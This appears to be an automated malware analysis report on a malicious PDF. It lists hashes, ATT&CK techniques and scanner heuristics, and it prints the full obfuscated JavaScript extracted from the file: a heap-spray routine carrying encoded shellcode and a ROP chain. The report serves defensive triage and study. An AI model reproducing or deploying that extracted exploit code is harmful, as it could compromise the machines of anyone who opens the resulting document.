Malicious PDF — malware analysis report

Static analysis result for SHA-256 0f5301b863b36638…

MALICIOUS

PDF

249.8 KB Created: 2010-06-29 10:30:35 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2013-07-03
MD5: 16d4e03d58dd16e37c2b9dd67e6c6293 SHA-1: 04c63b0011964f7b1af123652574e7afad581d46 SHA-256: 0f5301b863b3663809d1f500d3fff0abeb00e3dbfd090b2371e96755680eb4b8
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This PDF file contains embedded JavaScript and a secondary embedded PDF, both of which are flagged as malicious. The JavaScript appears to be heavily obfuscated but uses unescape functions, suggesting it's designed to download and execute a second-stage payload. The presence of ClamAV detections for 'Win.Trojan.Agent-36159' on the main file and an extracted artifact further confirms its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9962

Heuristics 10

  • ClamAV: Win.Trojan.Agent-36159 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-36159
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinloaderInfoIn PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x392 2528 bytes
SHA-256: 5748bce8df3e6aac21a9f71b10fa8042a0e9bcb4fdb4d337bca72f240ed5f3c2
Detection
ClamAV: Win.Trojan.Agent-36159
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ss;//ahlfah

for(i=0;i<18000;i++)

ss = ss+0x70;

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29deXX5fc9XX37b1XX5731XX8314XX1001XX2602XX4207XXdee0XX55eeXXdee4XXeceeXXbabfXXdc4fXXdee0XX67eeXXd2a0XX9c65XX73fcXX8465XX8fe8XX9965XX55dcXXc29aXXdd98XXba1bXXa86bXXefceXXed15XXa527XX73a1XX29edXX05d3XX52e1XXe6f0XX981cXX1fe8XXe125XX04e3XX07aeXXe511XX99f1XX8007XXb265XXddc4XX8a33XXd26bXX67a5XXc2beXX31edXXda6bXXef65XX7525XX0eb7XXed5cXX6f35XXda23XXec84XX21b3XX10b9XXd9dbXX1f9bXX8169XX7512XX8cb2XX9b11XX21e4XX1099XX891fXX7516XX9e8aXXec86XXdef0XX13eeXXd697XX13bcXX2ab7XXab67XXb418XX61eeXX2aa7XX13beXXd697XX9b11XX2118XX1099XX891fXX671eXXd2afXXab65XX1e18XXdce6XXee60XXac13XX2902XXbb11XX3618XX13a3XX211fXX89f8XXce1aXX26baXX4f4fXXe442XXa83aXX7743XX019dXX0bc2XXdee3XX14a9XXdee0XX3a16XXdee2XXeeb6XXdee0";
sc = une(urpl("%",sc));

var p = unescape;
var len = "\x6c\x65\x6e\x67\x74\x68";
var s2 = "\x73\x75\x62\x73\x74\x72\x69\x6e\x67";
var s3 = "\x73\x75\x62\x73\x74\x72";
function a(__){var _='';for(var ___=0;___<__[len];___+=4) _+='%'+'u'+__[s3](___,4);return _;}
function s()
{
c=p(a("58585858"));
while(c[len] + 20 + 8 < 0x10000) c = c + c;
b = c[s2](0,(0x5858-0x24)/2);
b += p(a("585858582fe10700deadbeefb00bface5868585849190700cccccccc48ef0700156f0700cccccccc90840700908407009084070090840700908407009084070090330700908407000c0c0c0c9084070090840700908407009084070090840700908407009084070090840700159907000124000172f707000104000115bb070010000000154d070015bb070003007ffe7fb2070015bb070000110001a8ac070015bb070001000001a8ac070072f707000011000152e207005c540700ffffffff0100000100000000010400011000000000400000d731070015bb0700905a9054154d0700a722070015bb0700eb5a5815154d0700a722070015bb07001a8b1889154d0700a722070015bb0700c0838304154d0700a722070015bb070004c2fb81154d0700a722070015bb070058585858154d0700a722070015bb0700ee7505eb154d0700a722070015bb0700e6e8ffff154d0700a722070015bb070090ff9090154d0700a722070015bb070090909090154d0700a722070015bb070090909090154d0700a722070015bb0700ffff90ff154d0700d7310700112f0700"));
b += sc;
b += c;
d = b[s2](0,0x10000/2);
e = c[s2](0,0x8000-(0x1020-0x08)/2);
while(d[len] < 0x80000) d+=d;
_3 = d[s2](0,0x80000-(0x1020-0x08)/2);
_4= new Array();
_5 =    new Array();
for(i=0;i<0x300;i=i+1)
for(j=0;j<16;j++)
 _5[i*16+j]=e+"y";

for(i=0;i<0x300;i=i+1)
for(j=0;j<15;j++)
 _5[i*16+j]=null;


for(i=0;i<0x250;i=i+1)	_4[i]				=_3		+ "s";
}
s();
objstm_0017_00.bin pdf-objstm-decoded PDF /ObjStm 17 0 obj (inflated) 871 bytes
SHA-256: dd7918c182d6e2b8d996a6b8ee81663c49a0cb297efe1e1fa3c5af0c987bde84
polyglot_child_pdf_off0003caaf.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x3CAAF 7293 bytes
SHA-256: fe1583c05ef0f6ed7c71670ad19cd2a07df15d70ab1eb8a466454eab6eb1f527
polyglot_child_pdf_off0003cf3f.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x3CF3F 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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